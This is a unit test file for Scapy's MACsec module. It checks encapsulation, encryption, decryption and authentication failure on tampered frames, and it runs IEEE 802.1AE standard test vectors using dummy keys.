    "content": "# MACsec unit tests\n# run with:\n#   test/run_tests  -P \"load_contrib('macsec')\" -t test/contrib/macsec.uts -F\n\n+ MACsec\n~ crypto not_pypy\n# Note: these tests are disabled with pypy, as the cryptography module does\n#       not currently work with the pypy version used by Travis CI.\n\n= MACsec - basic encap - encrypted\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\nassert m.type == ETH_P_MACSEC\nassert m[MACsec].type == ETH_P_IP\nassert len(m) == len(p) + 16\nassert m[MACsec].AN == 0\nassert m[MACsec].PN == 100\nassert m[MACsec].SL == 0\nassert m[MACsec].SC\nassert m[MACsec].E\nassert m[MACsec].C\nassert m[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\nassert m[MACsec].mysummary() == r\"AN=0, PN=100, SCI=b'RT\\x00\\x13\\x01V\\x00\\x01', IPv4\"\n\n= MACsec - basic encryption - encrypted\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nassert e.type == ETH_P_MACSEC\nassert e[MACsec].type == None\nassert len(e) == len(p) + 16 + 16\nassert e[MACsec].AN == 0\nassert e[MACsec].PN == 100\nassert e[MACsec].SL == 0\nassert e[MACsec].SC\nassert e[MACsec].E\nassert e[MACsec].C\nassert e[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\n\n= MACsec - basic decryption - encrypted\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nd = sa.decrypt(e)\nassert d.type == ETH_P_MACSEC\nassert d[MACsec].type == ETH_P_IP\nassert len(d) == len(m)\nassert d[MACsec].AN == 0\nassert d[MACsec].PN == 100\nassert d[MACsec].SL == 0\nassert d[MACsec].SC\nassert d[MACsec].E\nassert d[MACsec].C\nassert d[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\nassert raw(d) == raw(m)\n\n= MACsec - basic decap - decrypted\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nd = sa.decrypt(e)\nr = sa.decap(d)\nassert raw(r) == raw(p)\n\n\n\n= MACsec - basic encap - integrity only\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\nassert m.type == ETH_P_MACSEC\nassert m[MACsec].type == ETH_P_IP\nassert len(m) == len(p) + 16\nassert m[MACsec].AN == 0\nassert m[MACsec].PN == 200\nassert m[MACsec].SL == 0\nassert m[MACsec].SC\nassert not m[MACsec].E\nassert not m[MACsec].C\nassert m[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\n\n= MACsec - basic encryption - integrity only\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nassert m.type == ETH_P_MACSEC\nassert e[MACsec].type == None\nassert len(e) == len(p) + 16 + 16\nassert e[MACsec].AN == 0\nassert e[MACsec].PN == 200\nassert e[MACsec].SL == 0\nassert e[MACsec].SC\nassert not e[MACsec].E\nassert not e[MACsec].C\nassert e[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\nassert raw(e)[:-16] == raw(m)\n\n= MACsec - basic decryption - integrity only\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nd = sa.decrypt(e)\nassert d.type == ETH_P_MACSEC\nassert d[MACsec].type == ETH_P_IP\nassert len(d) == len(m)\nassert d[MACsec].AN == 0\nassert d[MACsec].PN == 200\nassert d[MACsec].SL == 0\nassert d[MACsec].SC\nassert not d[MACsec].E\nassert not d[MACsec].C\nassert d[MACsec].SCI == b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01'\nassert raw(d) == raw(m)\n\n= MACsec - basic decap - integrity only\nsa = MACsecSA(sci=b'\\x52\\x54\\x00\\x13\\x01\\x56\\x00\\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/\"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\"\nm = sa.encap(p)\ne = sa.encrypt(m)\nd = sa.decrypt(e)\nr = sa.decap(d)\nassert raw(r) == raw(p)\n\n= MACsec - encap - shortlen 2\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')\nm = sa.encap(p)\nassert m[MACsec].SL == 2\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 10\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 8)\nm = sa.encap(p)\nassert m[MACsec].SL == 10\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 18\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 16)\nm = sa.encap(p)\nassert m[MACsec].SL == 18\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 32\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 30)\nm = sa.encap(p)\nassert m[MACsec].SL == 32\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 40\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 38)\nm = sa.encap(p)\nassert m[MACsec].SL == 40\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 47\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 45)\nm = sa.encap(p)\nassert m[MACsec].SL == 47\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 0 (48)\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 45 + \"y\")\nm = sa.encap(p)\nassert m[MACsec].SL == 0\n\n\n= MACsec - encap - shortlen 2/nosci\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')\nm = sa.encap(p)\nassert m[MACsec].SL == 2\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 32/nosci\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 30)\nm = sa.encap(p)\nassert m[MACsec].SL == 32\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n= MACsec - encap - shortlen 47/nosci\nsa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)\np = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw(\"x\" * 45)\nm = sa.encap(p)\nassert m[MACsec].SL == 47\nassert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0)\n\n\n= MACsec - authenticate\ntx = Ether(b\"RT\\x00\\x12\\x01V.\\xbc\\x84\\xd5\\xca\\x13\\x88\\xe5 \\x00\\x00\\x00\\x00\\rRT\\x00\\x13\\x01V\\x00\\x01\\x08\\x00E\\x00\\x00T\\x11:@\\x00@\\x01\\xa6\\x1b\\xc0\\xa8\\x01\\x01\\xc0\\xa8\\x01\\x02\\x08\\x00a\\xeaG+\\x00\\x01\\xc0~RY\\x00\\x00\\x00\\x00w>\\x06\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\xf1\\xb8\\xe4,b\\xb00\\x98L\\x85m1Q9\\t:\")\nrx = Ether(b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x88\\xe5 \\x00\\x00\\x00\\x00#RT\\x00\\x12\\x01V\\x00\\x01\\x08\\x00E\\x00\\x00T\\xd4\\x1a\\x00\\x00@\\x01#;\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x01\\x00\\x00i\\xeaG+\\x00\\x01\\xc0~RY\\x00\\x00\\x00\\x00w>\\x06\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37z\\x11\\xf8S\\xe5u\\x81\\xe8\\x19\\\\nxX\\x02\\x13\\x01\")\nrxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)\ntxsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61', icvlen=16, encrypt=0, send_sci=1)\ntxdec = txsa.decap(txsa.decrypt(tx))\nrxdec = rxsa.decap(rxsa.decrypt(rx))\ntxref = b\"RT\\x00\\x12\\x01V.\\xbc\\x84\\xd5\\xca\\x13\\x08\\x00E\\x00\\x00T\\x11:@\\x00@\\x01\\xa6\\x1b\\xc0\\xa8\\x01\\x01\\xc0\\xa8\\x01\\x02\\x08\\x00a\\xeaG+\\x00\\x01\\xc0~RY\\x00\\x00\\x00\\x00w>\\x06\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\"\nrxref = b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x08\\x00E\\x00\\x00T\\xd4\\x1a\\x00\\x00@\\x01#;\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x01\\x00\\x00i\\xeaG+\\x00\\x01\\xc0~RY\\x00\\x00\\x00\\x00w>\\x06\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\"\nassert raw(txdec) == raw(txref)\nassert raw(rxdec) == raw(rxref)\n\n\n\n= MACsec - authenticate - invalid packet\nrx = Ether(b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x88\\xe5 \\x00\\x00\\x00\\x00#RT\\x00\\x12\\x01V\\x00\\x01\\x08\\x00E\\x00\\x00T\\xd4\\x1a\\x00\\x00@\\x01#;\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x01\\x00\\x00i\\xeaG+\\x00\\x01\\xc0~RY\\x00\\x00\\x00\\x00w>\\x06\\x00\\x00\\x00\\x00\\x00\\xba\\xdb\\xba\\xdb\\xad\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37z\\x11\\xf8S\\xe5u\\x81\\xe8\\x19\\\\nxX\\x02\\x13\\x01\")\ntxsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61', icvlen=16, encrypt=0, send_sci=1)\ntry:\n    rxdec = rxsa.decap(rxsa.decrypt(rx))\n    assert not \"This packet shouldn't have been authenticated as correct\"\nexcept InvalidTag:\n    pass\n\n\n\n= MACsec - decrypt\ntx = Ether(b\"RT\\x00\\x12\\x01V.\\xbc\\x84\\xd5\\xca\\x13\\x88\\xe5,\\x00\\x00\\x00\\x00\\x1fRT\\x00\\x13\\x01V\\x00\\x01\\xf1\\xd6\\xf7\\x03\\xf0%\\x19\\x8e\\x88\\xb0\\xac\\xa1\\x82\\x98\\x94]\\x85&\\xc4U*\\x84kX#O\\xb6\\x8f\\xf1\\x9d\\xc5\\xdc\\xe0\\x80,\\x98\\x8e_\\xd53e\\x16b0\\xaf\\xd9\\x9e;A\\x8aM\\xfe\\x16\\xf6j\\xe6\\xea\\xb7\\x9c\\xf3\\x9bCc#,\\x93\\xf7\\xc0\\xdb\\x9a\\xd0\\x0c\\xfd?\\xcbd\\xe5D\\xb7\\xc9\\xbb\\xf5\\x93M\\xc5\\x1d'LR\\xed\\xf3\\xbc\\xa0\\xdf\\x86\\xf7\\xc2JN\\xcd\\x19\\xc1?\\xf7\\xd2\\xbe\\x00\\x0f`\\xe0\\x04\\xcfX5\\xdc\\xe7\\xb6\\xe6\\x82\\xc4\\xac\\xd7\\x06\\xe31\\xbe|\\x98l\\xc8\\xc1#*n+x|\\xad\\x0b<\\xfd\\xb8\\xceoR\\x1e\")\nrx = Ether(b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x88\\xe5,\\x00\\x00\\x00\\x005RT\\x00\\x12\\x01V\\x00\\x01\\x04\\xbaV\\xe6\\xcf\\xcfbhy\\x7f\\xce\\x12.\\x80WI\\xe5\\xd5\\x98)6\\xe1vjVO@\\x84\\xde\\x9b\\x83\\xbaw\\xef\\x13\\xc3\\xfd\\xad\\x81\\xd4S?\\x01\\x01\\xab\\xa8 PzSq2\\x905\\xf6\\x8cT\\xd7\\xb0P\\xe2\\xd04\\xc7F\\x88\\x85\\x10\\xc3\\x99\\x80\\xe3(\\t\\x10\\x87\\xa9{z\\x22\\xce>;Mr\\xbe\\xc1\\xa0\\x07%\\x01\\x96\\xe5\\xa3\\x18]\\xec\\xbb\\x7f\\xde0\\xa1\\x99\\xb2\\xad\\x93j\\x97\\xef\\xf4\\xee\\xf0\\xe4s\\xb7h\\x95\\xc3\\x8b[~hX\\xbf|\\xee\\x99\\x97\\xe0;Q\\x9aa\\xb9\\x13$\\xd6\\xe4\\xb4\\xce\\njt\\xc0\\xa1.\")\nrxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\ntxsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61', icvlen=16, encrypt=1, send_sci=1)\ntxdec = txsa.decap(txsa.decrypt(tx))\nrxdec = rxsa.decap(rxsa.decrypt(rx))\ntxref = b\"RT\\x00\\x12\\x01V.\\xbc\\x84\\xd5\\xca\\x13\\x08\\x00E\\x00\\x00\\x80#D@\\x00@\\x01\\x93\\xe5\\xc0\\xa8\\x01\\x01\\xc0\\xa8\\x01\\x02\\x08\\x00E\\xd5\\x0f\\xb3\\x00\\x01SrSY\\x00\\x00\\x00\\x00\\x8b\\x1d\\r\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abc\"\nrxref = b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x08\\x00E\\x00\\x00\\x80\\x05\\xab\\x00\\x00@\\x01\\xf1~\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x01\\x00\\x00M\\xd5\\x0f\\xb3\\x00\\x01SrSY\\x00\\x00\\x00\\x00\\x8b\\x1d\\r\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abc\"\nassert raw(txdec) == raw(txref)\nassert raw(rxdec) == raw(rxref)\n\n\n\n= MACsec - decrypt - invalid packet\nrx = Ether(b\".\\xbc\\x84\\xd5\\xca\\x13RT\\x00\\x12\\x01V\\x88\\xe5,\\x00\\x00\\x00\\x005RT\\x00\\x12\\x01V\\x00\\x01\\x04\\xbaV\\xe6\\xcf\\xcfbhy\\x7f\\xce\\x12.\\x80WI\\xe5\\xd5\\x98)6\\xe1vjVO@\\x84\\xde\\x9b\\x83\\xbaw\\xef\\x13\\xc3\\xfd\\xad\\x81\\xd4S?\\x01\\x01\\xab\\xa8 PzSq2\\x905\\xf6\\x8cT\\xd7\\xb0P\\xe2\\xd04\\xc7F\\x88\\x85\\x10\\xc3\\x99\\x80\\xe3(\\t\\x10\\x87\\xa9{z\\x22\\xce>;Mr\\xbe\\xc1\\xa0\\x07%\\x01\\x96\\xe5\\xa3\\x18]\\xec\\xbb\\x7f\\xde0\\xa1\\x99\\xb2\\xad\\x93j\\x97\\xba\\xdb\\xad\\xf0\\xe4s\\xb7h\\x95\\xc3\\x8b[~hX\\xbf|\\xee\\x99\\x97\\xe0;Q\\x9aa\\xb9\\x13$\\xd6\\xe4\\xb4\\xce\\njt\\xc0\\xa1.\")\nrxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\ntry:\n    rxdec = rxsa.decap(rxsa.decrypt(rx))\n    assert not \"This packet shouldn't have been decrypted correctly\"\nexcept InvalidTag:\n    pass\n\n\n\n= MACsec - decap - non-Ethernet\nrxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\ntry:\n    rxsa.decap(IP())\nexcept TypeError as e:\n    assert str(e) == \"cannot decapsulate MACsec packet, must be Ethernet/MACsec\"\n\n= MACsec - decap - non-MACsec\nrxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\ntry:\n    rxsa.decap(Ether()/IP())\nexcept TypeError as e:\n    assert str(e) == \"cannot decapsulate MACsec packet, must be Ethernet/MACsec\"\n\n= MACsec - encap - non-Ethernet\ntxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)\ntry:\n    txsa.encap(IP())\nexcept TypeError as e:\n    assert str(e) == \"cannot encapsulate packet in MACsec, must be Ethernet\"\n\n\n# Reference packets tests from the MACsec specification document (IEEE Std 802.1AEbw-2013, Annex C).\n# Check encapsulation, encryption, decryption, decapsulation for each test case.\n\n= MACsec - Standard Test Vectors - C.1.1 GCM-AES-128 (54-octet frame integrity protection)\nsa = MACsecSA(sci=b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81', an=2, pn=0xB2C28465, key=b'\\xAD\\x7A\\x2B\\xD0\\x3E\\xAC\\x83\\x5A\\x6F\\x62\\x0F\\xDC\\xB5\\x06\\xB3\\x45', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001\"))\nm = sa.encap(p)\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81\\xB2\\xC2\\x84\\x65')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001F09478A9B09007D06F46E9B6A1DA25DD\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.1.2 GCM-AES-256 (54-octet frame integrity protection)\nsa = MACsecSA(sci=b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81', an=2, pn=0xB2C28465, key=b'\\xE3\\xC0\\x8A\\x8F\\x06\\xC6\\xE3\\xAD\\x95\\xA7\\x05\\x57\\xB2\\x3F\\x75\\x48\\x3C\\xE3\\x30\\x21\\xA9\\xC7\\x2B\\x70\\x25\\x66\\x62\\x04\\xC6\\x9C\\x0B\\x72', icvlen=16, encrypt=0, send_sci=1)\np = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001\"))\nm = sa.encap(p)\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81\\xB2\\xC2\\x84\\x65')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400012F0BC5AF409E06D609EA8B7D0FA5EA50\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.1.3 GCM-AES-XPN-128 (54-octet frame integrity protection)\nsa = MACsecSA(sci=b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\\xAD\\x7A\\x2B\\xD0\\x3E\\xAC\\x83\\x5A\\x6F\\x62\\x0F\\xDC\\xB5\\x06\\xB3\\x45', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\\xE6\\x30\\xE8\\x1A\\x48\\xDE\\x86\\xA2\\x1C\\x66\\xFA\\x6D')\np = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001\"))\nm = sa.encap(p)\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x9C\\x00\\x29\\x02\\xF8\\x01\\xC3\\x3E\\xAE\\xA4\\x7E\\x08')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323334000117FE1981EBDD4AFC5062697E8BAA0C23\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.1.4 GCM-AES-XPN-256 (54-octet frame integrity protection)\nsa = MACsecSA(sci=b'\\x12\\x15\\x35\\x24\\xC0\\x89\\x5E\\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\\xE3\\xC0\\x8A\\x8F\\x06\\xC6\\xE3\\xAD\\x95\\xA7\\x05\\x57\\xB2\\x3F\\x75\\x48\\x3C\\xE3\\x30\\x21\\xA9\\xC7\\x2B\\x70\\x25\\x66\\x62\\x04\\xC6\\x9C\\x0B\\x72', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\\xE6\\x30\\xE8\\x1A\\x48\\xDE\\x86\\xA2\\x1C\\x66\\xFA\\x6D')\np = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001\"))\nm = sa.encap(p)\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x9C\\x00\\x29\\x02\\xF8\\x01\\xC3\\x3E\\xAE\\xA4\\x7E\\x08')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400014DBD2F6A754A6CF728CC129BA6931577\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == 